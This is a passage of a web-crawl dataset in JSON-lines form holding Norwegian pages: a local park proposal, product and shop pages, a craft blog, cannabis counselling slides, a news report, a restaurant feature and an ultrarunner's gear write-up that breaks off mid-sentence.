NIBOR\n\n\n\n", "language": "no", "__index_level_0__": "51a4b72e-4c99-4e03-b487-1294ee5bd236"}
{"url": "http://nab.no/meninger/stor-gronn-park-i-nydalen-fernanda-nissen-park/19.15740", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:58:33Z", "text": "## \u00abStor gr\u00f8nn park i Nydalen. Fernanda Nissen Park?\u00bb\n\n\n\nDette er omr\u00e5det Bj\u00f8rn O. Bj\u00f8rnson (iinfelt) \u00f8nsker park: Sandakerveien 113-119 g\u00e5r fra Sats-bygget og til venstre i bildekanten. Byggeaktiviteten bak er Thons kino- og boligkompleks. Bak ligger Storosenteret. FOTO: K. A. KJELSTRUP / K. HAGA\n\nKOMMENTAR: N\u00e5 har vi sjansen til \u00e5 f\u00e5 realisert en stor park i Nydalen, skriver Bj\u00f8rn O. Bj\u00f8rnsen i Sagene R\u00f8dt.\n\n\n\n**N\u00e5 har vi** \u2013 beboere i Bydel Sagene og Bydel Nordre Aker \u2013 sjansen. R\u00f8dt fikk med seg fagkomiteen i Bydel Sagene \u2013 med unntak av H\u00f8yre \u2013 til \u00e5 regulere Sandakerveien 113-119 til offentlig park p\u00e5 17 m\u00e5l. Da saken kom opp i BU hadde Ap skiftet standpunkt, og stod n\u00e5 sammen med H om et forslag til park p\u00e5 4,5 m\u00e5l.\n\n**Men slaget er ikke tapt. Det skal seinere opp til behandling sentralt i Oslo. Og vi som beboere kan p\u00e5virke Ap og H til \u00e5 g\u00e5 inn for park p\u00e5 17 m\u00e5l.**\n\n*LES OGS\u00c5: Slik er Avantors boligplaner for Sandakerveien 113-119*\n\n### Hvorfor er denne reguleringssaken s\u00e5 viktig?\n\n**Nydalen er allerede** en av Norges tettest befolkede omr\u00e5der. I en omdannelse fra industri-omr\u00e5de til h\u00f8ye og tette boligblokker og kontorbygg. Et stort senter med kino og leiligheter reiser seg n\u00e5 ved siden av dette omr\u00e5det, som er den siste muligheten til \u00e5 f\u00e5 en stor offentlig park i Nydalen.\n\n**Pionerene i arbeiderbevegelsen** tenkte stort. Det er n\u00e5 hundre \u00e5r siden Fernanda Nissen ble valgt som leder av parkutvalget i Kristiania. I hennes periode ble det bygd flere nye parkanlegg. Bl.a. Torshovparken der det ogs\u00e5 st\u00e5r en byste av henne. I dag er hennes navn allerede knyttet til Nydalen med skole og gate.\n\nSe bildet st\u00f8rre\n\nObos har kj\u00f8pt trykkeritomten i Sandakerveien 121, og \u00f8nsker \u00e5 rive dagens bebyggelse og bygge 1100 nye boliger. FOTO: KARL ANDREAS KJELSTRUP\n\n**Nydalen trenger n\u00e5** v\u00e5r st\u00f8tte. Det p\u00e5g\u00e5r reguleringssaker for flere tusen nye innbyggere. Bl.a. p\u00e5 nabotomta til Sandakerveien 113-119, der OBOS planlegger flere hundre nye leiligheter.\n\n**R\u00f8dt Sagene st\u00f8tter** de som n\u00e5 krever at den siste egnede tomta i omr\u00e5det blir til et stort park- og friluftsomr\u00e5de. Som Talefoten skrev i sin leder; La Nydalen f\u00e5 sin Birkelund\\!\n\n**Bj\u00f8rn O. Bj\u00f8rnsen**\n\n*Leder Sagene R\u00f8dt*\n\nObos-planene for trykkeritomten (Sandakerveien 121) er de hvite byggene til venstre med gr\u00f8nt tak. Byggene som er gjennomsiktige er Avantors tomt Sandakerveien 113-119, hvor det er foresl\u00e5tt park av politikere i Bydel Sagene. Nybyggene til h\u00f8yre er kinosenteret og boligomr\u00e5det som utvikles av Thon. FOTO: COBE ARKITEKTER/COWI\n\n", "language": "no", "__index_level_0__": "7015c4d3-de1f-4590-abe5-cd2ca69b4620"}
{"url": "https://www.dustinhome.no/product/5010597726/tellstick-duo", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:42:08Z", "text": "## Produktinformasjon\n\nTellStick USB-sender til fjernstr\u00f8mbrytere.  \n  \nFungerer med nesten alle fjernstyrte brytere som Proove, Nexa, IKEA, CoCo, Bye bye standby, Elro, Sartano, DIY, Waveman m.fl.  \n  \nTelldusCenter inkluderer n\u00e5 en tjeneste som kalles TelldusLive\\!. Dette er en brukervennlig tjeneste for \u00e5 automatisere elektronikk og lamper via internett. Alt som trengs er en datamaskin i gang hjemme med en tilkoblet TellStick. Du trenger ikke holde orden p\u00e5 IP-adresser, port-forwarding eller andre avanserte instillinger. Det finns ogs\u00e5 en gratis iPhone-app\\!  \n  \nTellstick DUO kan i tillegg til \u00e5 sende signaler ogs\u00e5 ta i mot.\n\n## Spesifikasjoner\n\n", "language": "no", "__index_level_0__": "fce93fa9-9220-4ccf-9c11-8530859bd1e0"}
{"url": "http://aasesanna.blogspot.com/2012/05/konfirmasjon-igjen-og-igjen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:45:18Z", "text": "Noe hobby og noe kommersielt..... \n\n## s\u00f8ndag 6. mai 2012\n\n### Konfirmasjon igjen og igjen...\n\n  \n\nN\u00e5 er det slutt p\u00e5 bestilling av konfirmasjonskort, tror jeg.\n\nDet var s\u00e5nnt et kj\u00f8r, at jeg ikke rakk \u00e5 ta bilde av alle.  \nOg jeg har rotet vekk notatene av materialbruken \\!\\! \n\nMen her kommer et knippe.  \n  \n\n  \n\n\n\n\n  \n\n\n  \n\n#### 3 kommentarer:\n\n1.  \n    \n    Janne-Lise6. mai 2012 kl. 09:43\n    \n    S\u00e5 mange konfirmasjonskort du har laget - fine var de :)\n    \n2.  \n    \n    Dorthe6. mai 2012 kl. 09:49\n    \n    S\u00e5 fine kort du har lavet. Og ja.... Konfirmationstiden er en travl tid med bestillinger - men her i Danmark er det ved at v\u00e6re slut for denne gang :)  \n    God S\u00f8ndag.  \n    Knus\n    \n3.  \n    \n    Riet6. mai 2012 kl. 21:16\n    \n    What a wonderful cards Sanna.  \n      \n    Hugs Riet.xx\n    \nTakk for bes\u00f8ket og for at du la igjen en hyggelig kommentar.\n\n", "language": "no", "__index_level_0__": "ebc3e94b-b3e2-434b-bc51-daebc3051c7b"}
{"url": "http://docplayer.me/1804597-God-handlingskompetanse-og-oppfolging-hva-fungerer-i-mote-med-cannabisbruker-fagdag-om-cannabis-steinkjer-28-august-2013-av-trond-ljokjell.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:17:22Z", "text": "# God handlingskompetanse og oppf\u00f8lging Hva fungerer i m\u00f8te med cannabisbruker. Fagdag om cannabis Steinkjer 28. august 2013 Av Trond Lj\u00f8kjell\n\n\n\n5 \u00c5 se i en det en enn\u00e5 ikke er\\!\n\n\n\n6 Noen forutsetninger for god handlingskompetanse:\n\n\n\n7 Mange gode intensjoner\\! Gode intensjoner er ikke tilstrekkelig\\!\n\n\n\n8 Hva skal til: -Kunnskap om cannabis -Positiv interesse -Klare holdninger - Anerkjenne at den unge er ekspert p\u00e5 eget liv\\! Se likheter vs individuelle forskjeller\n\n\n\n9 Kunnskap er viktig men ikke nok\\! Kunnskap m\u00e5 settes i system. I forhold til klokskap, timing og kontinuitet i relasjon Reflektere over v\u00e5r praksis: - Hvordan vi m\u00f8ter ungdom? - Hvordan vurdere risiko? - Hvordan tilpasse riktig tiltak?\n\n13 Charles Baudelaire \u00abLa oss et \u00f8yeblikk akseptere at hasj \u00f8ker kreativiteten, da glemmer man at det er hasjens natur \u00e5 svekke viljen, slik at det den tilf\u00f8rer p\u00e5 den ene side, fratar den p\u00e5 den andre; det vil si; den gir fantasi uten evne til \u00e5 kunne utnytte den.\u00bb\n\n\n\n14 Unng\u00e5: - Ford\u00f8mmende tiln\u00e6rming - Konfronterende stil - Autorit\u00e6r \u00abKan du ikke snakke han til rette?\u00bb\n\n\n\n15 Skal man hjelpe en annen, m\u00e5 man f\u00f8rst finne ut hvor han er, og m\u00f8te ham der. Dette er det f\u00f8rste bud i all sann hjelpekunst. S\u00f8ren Kierkeg\u00e5rd\n\n\n\n Hasjavvenning Hvorfor og hvordan? 2014 Erfaringer fra Kristiansand HASJAVVENNING KRISTIANSAND Kommunalt tilbud som startet i 2005. Mange fra ulike enheter jobber sammen. Lavterskeltilbud. Lett \u00e5 f\u00e5 kontakt.\n\n", "language": "no", "__index_level_0__": "bc8989c7-16b3-45f4-9d57-4d58accd8179"}
{"url": "https://www.nettavisen.no/nyheter/utenriks/britiske-soldater-tiltalt-for-drap/340398.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:27:08Z", "text": "# Britiske soldater tiltalt for drap\n\n  - \nSju britiske soldater ble torsdag tiltalt for \u00e5 ha drept en sivil iraker.\n\nDrapet skjedde 11. mai 2003 ved en vei i Al U'Zayra i S\u00f8r-Irak. Sju britiske soldater skal n\u00e5 tiltales for ugjerningen. Soldatene m\u00e5 m\u00f8te i krigsrett for drapet p\u00e5 Nadhem Abdullah, melder nyhetsbyr\u00e5et AP.\n\nKorporal Scott Evans, menig William Nerney og Daniel Harding er sammen med fire ikke navngitte andre soldater tiltalt for drapet. Harding har siden forlatt milit\u00e6ret og g\u00e5tt tilbake til det sivile liv. Alle sju er tiltalt for drap og voldelig oppf\u00f8rsel.\n\nSoldatene var alle en del av fallskjermtroppenes tredje bataljon da Abdullah ble drept. Ingen dato er forel\u00f8pig satt for n\u00e5r de tiltalte skal i retten.\n\nStorbritannia har siden invasjonen av Irak satt i gang 160 etterforskninger rundt d\u00f8dsfall og skader i Irak. Det dreier seg om alt fra trafikkulykker til skuddvekslinger. De fleste sakene har blitt henlagt, men 48 av dem befinner seg fortsatt i rettssystemet.\n\n\n\n## \\- Jeg var h\u00f8yt utdannet, men i deres \u00f8yne var jeg kun egnet til \u00e9n ting\n\n\n\n## Hver kveld da hun var ferdig p\u00e5 trening, ventet den eldre mannen utenfor garderoben\n\n\n\n## Espen Teigen: - St\u00f8re sto for en av de dr\u00f8yeste p\u00e5standene jeg har h\u00f8rt i norsk politikk\n\n", "language": "no", "__index_level_0__": "979ca62f-5ab8-4a2d-83e9-722bc25eeb61"}
{"url": "https://www.hadeland-glassverk.no/nettbutikk/barserier/oslo", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:07:30Z", "text": "# Oslo\n\n\n\nOslo er en klassisk barserie som lages hos oss p\u00e5 Hadeland Glassverk. Den ble lansert i 1969. Produksjonen ble gjenoptatt fordi ettersp\u00f8rselen var stor, og n\u00e5 er dette den mest popul\u00e6re barserien v\u00e5r. Fremgangsm\u00e5ten i produksjonen ivaretar de mest krevende teknikker innen glassbl\u00e5sing. Designeren ble inspirert av arkitekturen til Oslo R\u00e5dhus og derfor heter serien Oslo.\n\n# Oslo\n\n\n\nOslo er en klassisk barserie som lages hos oss p\u00e5 Hadeland Glassverk. Den ble lansert i 1969. Produksjonen ble gjenoptatt fordi ettersp\u00f8rselen var stor, og n\u00e5 er dette den mest popul\u00e6re barserien v\u00e5r. Fremgangsm\u00e5ten i produksjonen ivaretar de mest krevende teknikker innen glassbl\u00e5sing. Designeren ble inspirert av arkitekturen til Oslo R\u00e5dhus og derfor heter serien Oslo.\n\n  - \n    \n    ## karaffel 75 cl.\n    \n     4\u00a0599,- \n", "language": "no", "__index_level_0__": "8d0230eb-f0f4-465d-970a-f4a00f7de841"}
{"url": "https://www.gjensidige.no/privat/kundefordeler/nito", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:24:55Z", "text": "# NITO-fordelene\n\nSom NITO-medlem kan du f\u00e5 forsikringer som er blant markedets beste til medlemspris.\n\nP\u00e5 private skadeforsikringer f\u00e5r du\n\n  - 16 % medlemsrabatt hvis du har 1 forsikring\n  - 20 % medlemsrabatt hvis du har minst 2 forsikringer\n\n\n\n## Mangler du de viktigste forsikringene?\n\nMed de rette forsikringene er du litt bedre forberedt p\u00e5 det som m\u00e5tte komme.\u00a0\n\n\n\n### Hjelp ved d\u00f8dsfall\n\nReduser konsekvensen av tapt inntekt i familien.\u00a0\n\nEn forsikringsutbetaling kan v\u00e6re viktig til gjeldssanering og arv til barn og s\u00e6rkullsbarn.\n\n  - NITO Livsforsikring\n\n### Hjelp ved uf\u00f8rhet\n\nBegrens ditt inntektstap ved langvarig sykdom og uf\u00f8rhet.\n\nF\u00e5 en av markedets beste priser p\u00e5 Uf\u00f8reforsikring, og rabatt p\u00e5 Uf\u00f8repensjon:\n\n### Hjelp ved sykdom\n\nUnng\u00e5 at du og dine f\u00e5r \u00f8konomiske problemer som f\u00f8lge av sykdom.\n\nSom medlem f\u00e5r du rabatter p\u00e5\n\n", "language": "no", "__index_level_0__": "ae29e0f1-8a31-4dd8-9897-8b1f1aae0c78"}
{"url": "https://www.paleet.no/2017/10/12/visuell-kokkekunst-konstant-bevegelse/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:29:41Z", "text": "# Paleet Oslo\n\n# Visuell kokkekunst i konstant bevegelse.\n\nVi nordmenn blir stadig mer opptatt av opplevelser. Daglig s\u00f8ker vi impulser fra alle verdens hj\u00f8rner. Denne h\u00f8sten anbefaler vi sanselige inntrykk fra det japanske kj\u00f8kkenet hos Sabaki.\n\n\n\nTekst: Redaksjonen | Foto: Sabaki12. oktober 2017\n\n\n\n**Nye impulser**\n\nDet japanske kj\u00f8kkenet er fundamentalt annerledes enn annen asiatisk matlaging, med sitt enest\u00e5ende fokus p\u00e5 r\u00e5varenes naturlige smak, samt hvordan nettopp disse smakene bevares best mulig under tilberedning.\n\nDet japanske kj\u00f8kken, *washoku*, ble et begrep etter 1868 da Sakoku-loven ble opphevet. Sakoku-loven s\u00f8rget i sin tid for at ingen kunne forlate eller bes\u00f8ke Japan og oversettes direkte med \"lukket land.\" Da grensene \u00e5pnet igjen og nye impulser fra vestlige land ble \u00e5 finne i Japan, f\u00f8rte dette til enorme forandringer i form av ingredienser og tilberedning av maten. I dag presenteres det japanske kj\u00f8kken som moderne japansk mat i tradisjonell stil.\n\n\n\n**Sesongens r\u00e5varer i fokus**\n\nNoe av det viktigste for det japanske kj\u00f8kkenet er bruken av sesongens r\u00e5varer. \u00c5 anerkjenne, og ikke minst feire r\u00e5varene, er en viktig del av tradisjonen. Typisk er \u00e5 bruke Unagi (\u00e5l) om sommeren, Matusake-sopp om h\u00f8sten og friske bambusskudd om v\u00e5ren. De gj\u00f8r minst mulig med dem for \u00e5 bevare den opprinnelige smaken i hver enkelt ingrediens, men komplimenterer med andre smaker for \u00e5 fremheve matopplevelsen ytterligere. Sashimi er et godt eksempel p\u00e5 dette \u2013 r\u00e5 fisk med litt soyasaus og wasabi som eneste tilbeh\u00f8r.\n\n\u00a0\n\n\n**Mer enn Sushi**\n\nJapansk kokkekunst er s\u00e5 mye mer enn Sushi. *Sabaki* betyr bevegelse. I tillegg til klassikerne nordmenn omtrent har gjort til sine egne, finner du unike smaksopplevelser tilberedt innen Robatayaki og Teppanyaki.\n\nSm\u00e5 porsjoner av kj\u00f8tt, fisk eller gr\u00f8nnsaker som er langtidsgrillet p\u00e5 rykende kull er typisk for Robatayaki, mens Teppanyaki er den karakteristiske stekeplaten i jern, hvor hele m\u00e5ltides tilberedes fra.\n\n\n\n> Sabaki betyr bevegelse. I tillegg til klassikerne nordmenn omtrent har gjort til sine egne, finner du unike smaksopplevelser tilberedt innen Robatayaki og Teppanyaki.\n\n\n\n**Akkurat passe**\n\nTilbake til h\u00f8sten i Oslo. Gr\u00e5tt v\u00e6r og sidelengs vind frister til opplevelser innend\u00f8rs. Hos Sabaki finner du f\u00f8rsteklasses Sushi, og det beste fra det moderne japanske kj\u00f8kkenet rett fra grillen. Smakene er, tradisjonen tro, bevart i hver enkelt ingrediens, og anretningen er Insta-vennlig herfra til evigheten.\n\nVelg mellom sm\u00e5retter, perfekt porsjonert lunsj eller helaftens middag med det beste fra vinskapet i godt selskap.\n\nOg du? Sabaki tilbyr naturligvis ogs\u00e5 Take-away for den hjemmekj\u00e6re\\!\n\n\u00a0\n\u00d8nsker du \u00e5 bestille bord kan du kontakte Sabaki p\u00e5 23 89 87 62 eller email@example.com.\n\n\n\n", "language": "no", "__index_level_0__": "9825414d-64fd-4914-9d03-b6fe50eebb4f"}
{"url": "https://exploringthelimits.com/2015/08/23/forberedelser-til-4deserts-roving-race-ecuador-2015/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:14:39Z", "text": "# Frode Lein\n\n        Atacama \u00f8rken er kjent for \u00e5 v\u00e6re den t\u00f8rreste plassen i verden \u2013 her er det 50 ganger t\u00f8rrere enn Californias \"Death Valley\"..\n      - Sairecabur\n# Del 1, Ecuador: Forberedelser og utstyr til Roving Race\u00a02015\n\nForfatterFrode LeinPosted on23.08.201502.01.2016KategorierRoving Race - EcuadorTags4deserts, Brynje, Ecuador, Hoka One One, Jungel, multistage, OMM, opplevelser, Oslo Sportslager, pakke, Racing the planet, Review, S\u00f8r amerika, selfsupplied\n\nEt sammendrag fra min deltagelse hos 4deserts og Racing the Planet sitt 250 kilometers l\u00f8p i Ecuador. Konkurransen startet ved vulkanen Cotopaxi i Andesfjellene bare noen dager f\u00f8r den fikk utbrudd og vi ble hentet ut seks dager senere i Amazonas jungelen.\n\nDet var 141 konkurrenter, 115 fullf\u00f8rte og jeg ble totalt nummer 16.\u00a0De beste dagsetappe mine var den lengste ultradistansen hvor jeg ble nummer 7 og p\u00e5 den siste sjarm\u00f8retappen ble jeg nummer 3.\n\n## Forberedelser:\n\nJeg har fullf\u00f8rt flere l\u00f8p hos 4deserts og hadde alt klart til Sahara Race \u2013 2015. Dessverre ble dette l\u00f8pet avlyst p\u00e5 grunn av trusselbildet fra IS. Avgj\u00f8relsen ble tatt p\u00e5 bakgrunn av konkrete tilbakemeldinger sikkerhetsstaben for 4deserts hadde f\u00e5tt i forbindelse med at l\u00f8pet gikk ved den Syriske grensen.  \nJeg og de andre deltagerne av Sahara Race \u2013 2015 fikk da mulighet til \u00e5 flytte deltageravgiften til et av de fremtidige l\u00f8pene som 4deserts arrangerte. I 2015 sto valget da mellom Gobi March i Kina, Atacama Crossing i Chile og \"Roving Race\" i Ecuador. Jeg har allerede fullf\u00f8rt Gobi March og Atacama Crossing og for meg er opplevelsen av noe nytt et viktig element, s\u00e5 valget ble Roving Race i Ecuador med l\u00f8psetapper i Andesfjellene og Amazonas jungelen.\n\nRoving Race er et tilleggsl\u00f8p til de ordin\u00e6re 4deserts l\u00f8pene og arrangeres av moderselskapet til 4desert \u2013 Racing the Planet. Roving Race arrangeres p\u00e5 forskjellige steder i verden hvert \u00e5r. Roving Race er \u00e5pent for alle, men spesielt tilrettelagt for de som har fullf\u00f8rt de fire ordin\u00e6re 4deserts-l\u00f8pene og som \u00f8nsker \u00e5 oppleve noe nytt. Tidligere har Roving Race v\u00e6rt arrangert p\u00e5 Madagaskar, Island, Himalaya, Australia \u2026\n\nEttersom jeg hadde alt klart til 4deserts Sahara Race \u2013 2015 skulle man tro at jeg ogs\u00e5 hadde alt utstyr tilrettelagt til l\u00f8pet i Ecuador. Mye kunne jeg gjenbruke, men klima og milj\u00f8 er forskjellig og det er da noen viktig avvik som m\u00e5 tas i betraktning.  \nI motsetning til Sahara er halve l\u00f8pet i Ecuador i Andesfjellene med mellom 3.500 og 3.800 meters h\u00f8yde og andre halvdel er i Amazonas-jungelen. Med h\u00f8yden kommer behov for varmere kl\u00e6r og ettersom det er \"vintertid\" er det en stor sannsynlighet for nedb\u00f8r. I tillegg vil kroppen forbruke og ha behov for flere kalorier i h\u00f8yden. I jungelen vil utfordringen v\u00e6re varme, kombinert med ekstrem h\u00f8y luftfuktighet.\n\n\n\nVi l\u00f8per med full oppakning som omfatter alt fra sovepose, kl\u00e6r og utstyr samt mat og energitilskudd. Arrang\u00f8ren s\u00f8rger for telt, sikkerhet og etterforsyning av vann til l\u00f8pet.\n\nVekten p\u00e5 sekkene til deltagerne varierer i starten av et l\u00f8p normalt fra ni til femten kilo, men blir lettere etter hvert som dagene g\u00e5r og maten blir spist. Fra tidligere 4deserts l\u00f8p med tunge sekker har jeg manglet en del styrke og muskelmasse i overkroppen. S\u00e5 i forkant av Sahara Race 2015 hadde jeg begynt \u00e5 trene styrke med hjelp og r\u00e5d fra Erik Iversen p\u00e5 Olympiatoppen. Med faste dager p\u00e5 Andersen Gym med styrketrening i tillegg til l\u00f8ping merket jeg etter hvert at b\u00e5de kroppsholdning og l\u00f8pskapasitet ble bedre. Men som l\u00f8per kan styrketrening medf\u00f8re at kroppen blir tung og l\u00f8psteknikken blir d\u00e5rligere, s\u00e5 det var for meg viktig \u00e5 trene riktig og ikke bygge for store muskler.\n\n### Krav til deltagelse\n\nI alle seri\u00f8se konkurranser som arrangerer er det forskjellige minimumskrav til deltager, utstyr og mat.\n\n  - Ecuador Equipment List\n\n4deserts sine l\u00f8p er ingen unntagelse og her m\u00e5 deltagerne levere legeattest p\u00e5 at de er frisk eller eventuelt detaljer rundt sykdom og medisin. I tillegg m\u00e5 deltager bekrefte at de er i stand til \u00e5 fullf\u00f8re minimum en maraton eller tilsvarende distanse.\n\nAv utstyr m\u00e5 deltager ha med alt fra sovepose, toalettpapir, solkrem, hodelykt, speil og fl\u00f8yte til bruk i n\u00f8dsituasjoner, f\u00f8rstehjelpsskrin, bekledning m.m. for \u00e5 kunne overleve i seks d\u00f8gn i villmarken.\n\nMat er trolig det viktigste \u00e5 ha kontroll p\u00e5. Hver deltager skal dokumentere minimum 14.000 kalorier i mat og i tillegg rikelig med elektrolytter og salttilskudd som benyttes i l\u00f8pssammenheng. Normalt har deltagere med forskjellig gel, energibarer og \"brustabletter\" til \u00e5 blande i drikkevannet. Uansett hva som blir tatt med av smakstilsetning, s\u00e5 blir man lei av dette etter noen dager. Jeg blander av den grunn litt kaffe eller te i drikkevannet mitt n\u00e5r jeg l\u00f8per for \u00e5 f\u00e5 litt smaksvariasjon.\n\nSom deltagere hadde vi i forkant f\u00e5tt beskjed om \u00e5 pakke en droppbag med ekstra varmt t\u00f8y til dette spesifikke l\u00f8pet. Droppbaggen blir fraktet av arrang\u00f8rene mellom leirplassene. Bakgrunnen for dette var erfaringer f\u00f8r l\u00f8pet med nedb\u00f8r, minusgrader og kraftig vind. Pakkingen av droppbag var for meg nytt, men enkelt ettersom jeg kommer fra Sunnm\u00f8re hvor det er jevnt over et kj\u00f8lig klima. Jeg l\u00f8per hele \u00e5ret i all slags v\u00e6r og er godt kjent med mine behov i denne type milj\u00f8.\n\nN\u00e5r jeg skal reise langt til et l\u00f8p pakker jeg for sikkerhetsskyld det meste dobbelt opp, med en del i koffert, den andre og mest komprimerte delen i h\u00e5ndbagasje.\n\nDet viktige med et l\u00f8p som dette er \u00e5 f\u00e5 nok s\u00f8vn, hvile og kalorier nok til kroppen ettersom l\u00f8pet varer i seks dager og fem l\u00f8psetapper.\n\n### Ryggsekk\n\nFor \u00e5 kunne l\u00f8pe raskes mulig er det da viktig \u00e5 ha en kombinasjon lett og god sekk som sitter godt p\u00e5 kroppen. En l\u00f8pesekk henger p\u00e5 skuldrene til motsetning til en tursekk som har mye av tyngden hvilende p\u00e5 hoftebeltet. En l\u00f8pesekk b\u00f8r ogs\u00e5 ha lommer p\u00e5 \u00abmage/hoftebeltet\u00bb for oppbevaring og enkel tilgang av energibarer, elektrolytter og gel. I tillegg b\u00f8r det v\u00e6re mulighet for montering av flaskeholder p\u00e5 skulderstroppene om det ikke benyttes \u00abcamelback\u00bb. Den mest brukte st\u00f8rrelsen av sekk er mellom 25 og 35 liter. En liten sekk veier ofte litt mindre, men er ikke konstruert for \u00e5 v\u00e6re \u00abproppet\u00bb full. Jeg har sett flere avslitte skulderstropper og \u00absprengte\u00bb sekker som har s\u00f8rget for en br\u00e5 slutt for deltagere. P\u00e5 disse l\u00f8p har du ingen \u00abbackup\u00bb med deg. Jo forresten\\! Jeg har alltid en ekstra skje med, men den er i titan og veier sv\u00e6rt lite.\n\nTil dette l\u00f8pet hadde jeg valgt en sekk fra OMM som har fulgt meg i flere l\u00f8p, men den er i det knappeste laget for seks dager med full oppakning. Som backup tok jeg i h\u00e5ndbagasjen med en enkel 20 liters sekk.\n\n### Flasker\n\nJeg foretrekker flasker i st\u00f8rrelse 0,75 liter fremfor \u00abcamelback\u00bb pose i sekk, da flasker er mye raskere \u00e5 etterfylle underveis i l\u00f8p p\u00e5 kontrollpostene. I tillegg gir flasker mulighet for \u00e5 variere innhold, samt at det er lettere \u00e5 kontrollere mengde underveis. Noen benytter \u00absuger\u00f8r\u00bb for \u00e5 slippe \u00e5 ta ut flaskene av lommene hver gang de skal drikke, men jeg har bevist valgt \u00e5 m\u00e5tte ta ut flaskene av flaskeholderne n\u00e5r jeg skal drikke. Grunnlaget er at jeg veldig lett havner i en komatilv\u00e6relse hvor jeg bare l\u00f8per og l\u00f8per\u2026 n\u00e5r jeg derimot m\u00e5 ta ut flaskene sysselsetter dette meg med litt variasjon i bevegelsene n\u00e5r jeg l\u00f8per. P\u00e5 de fleste l\u00f8p er det et minimumskrav p\u00e5 veskeholdere for to liter, s\u00e5 et par ekstra flasker m\u00e5 v\u00e6re med i sekken.\n\n### Til natten\n\nSovepose i dun var ikke s\u00e5 fristende med tanke p\u00e5 nedb\u00f8r, h\u00f8y luftfuktighet kombinert med erfaringen fra tidligere l\u00f8p med d\u00e5rlige telt som lekker som et kaffefilter. Med begrenset sol og hviletid vil soveposen ikke kunne t\u00f8rkes og etterhvert vil den b\u00e5de bli v\u00e5t og tung. Men et viktig motargument er at en sovepose i dun som holdes t\u00f8rr, varmer definitivt best i forhold til vekt og god s\u00f8vn er sv\u00e6rt viktig for meg. Jeg bestemte meg for \u00e5 bruke en lett syntetisk sovepose, men tok i tillegg med en ultralett dunpose i h\u00e5ndbagasjen i tilfelle omstendighetene endret seg.\n\nSom underlag valgte jeg et lett oppbl\u00e5sbart liggeunderlag til \u00e5 ha under soveposen for \u00e5 beskyttet soveposen mot fuktighet fra bakken. Til \u00f8rkenl\u00f8p har jeg et lite oppbl\u00e5sbart liggeunderlag til \u00e5 ha inne i soveposen, alternativt bruker jeg bare \u00abryggplata\u00bb som tilh\u00f8rer ryggsekken.\n\nEn endring som kom i listen over obligatorisk utstyr til dette l\u00f8pet i forhold til tidligere 4desertsl\u00f8p var kravet om \u00abvarmepose\u00bb som erstatter tidligere krav om \u00abvarmeteppe\u00bb i aluminiumfolie. Jeg valgte da en varmepose som er s\u00e5 stor at jeg kunne tre den utenp\u00e5 soveposen om det skulle komme mye nedb\u00f8r, eller om det ble ekstremt kaldt.\n\n### Bekledning\n\nMed tanke p\u00e5 sekk og milj\u00f8 det l\u00f8pes i er det viktig \u00e5 velge slitesterk bekledning ettersom alt utstyr f\u00e5r en veldig r\u00f8ff behandling og jeg har ikke med mange skift.\n\nVi f\u00e5r ikke dusjet og det mangler fasiliteter for \u00e5 vaske t\u00f8y, s\u00e5 hygiene og svette blir for mange en utfordring. Alle lukter vondt, selv de peneste damene slutter \u00e5 v\u00e6re attraktiv etter et d\u00f8gn, men lukt er ikke problemet. Et problem med t\u00f8y er at s\u00f8mmene etter et par dager med oppsamling av svette har en tendens til \u00e5 bli stiv av svettens saltinnhold. N\u00e5r s\u00f8mmene stivner gnager de ekstra mot huden, spesielt hvor ryggsekken er og i lysken. Gnager s\u00f8mmen hull i huden blir s\u00e5ret raskt infisert og det blir noen p\u00e5f\u00f8lgende dager med ekstra ubehag kombinert med manglende hygiene. Derfor er type tr\u00e5d i t\u00f8y viktig, samt et f\u00e5tall sydde s\u00f8mmer.\n\n### Overkropp\n\nMed bakgrunn av klima vi skulle l\u00f8pe i hadde jeg bestemt meg for \u00e5 l\u00f8pe i en langarmet, vindtett og hurtigt\u00f8rrende l\u00f8petr\u00f8ye\u00a0i h\u00f8yden som jeg kombinerte med en varmende, men luftig kortermet som skulle brukes i jungelen ogs\u00e5. P\u00e5 overkroppen blir t\u00f8yet spesielt slitt ettersom ryggsekken beveger seg for hvert skritt som tas.\n\nJeg har i tillegg med en lett tilgjengelig regnjakke og varm overdel til bruk etter dagsetappene.\n\n### Benkl\u00e6r\n\nSv\u00e6rt mange liker \u00e5 l\u00f8pe i en kombinasjon av kort kompresjonstights og shorts som betegnes som \"2 in 1\". Jeg liker derimot \u00e5 l\u00f8pe i enkel kort \"maratonshorts\" med nettingtruse og en liten lomme bak p\u00e5 korsryggen. I tillegg har jeg med en tettsittende treningsbukse som jeg benytter etter dagsetappene og gjerne sammen med regnbuksen for \u00e5 f\u00e5 ekstra varme.\n\nP\u00e5 leggene benytter jeg kompresjonslegg hovedsakelig for \u00e5 beskytte mot kaktus og kratt, men ogs\u00e5 for velv\u00e6re og \u00f8kt blodsirkulasjon i slitne leggmuskler.  \nAv str\u00f8mper benytter mange t\u00e5-sokker (injini-str\u00f8mper) for \u00e5 slippe gnags\u00e5r mellom t\u00e6rne. Jeg har aldri hatt dette problemet, s\u00e5 jeg har med tre par ordin\u00e6re str\u00f8mper med innhold av merinoull og et par tykke raggsokker som benyttes etter dagsetappene p\u00e5 kalde 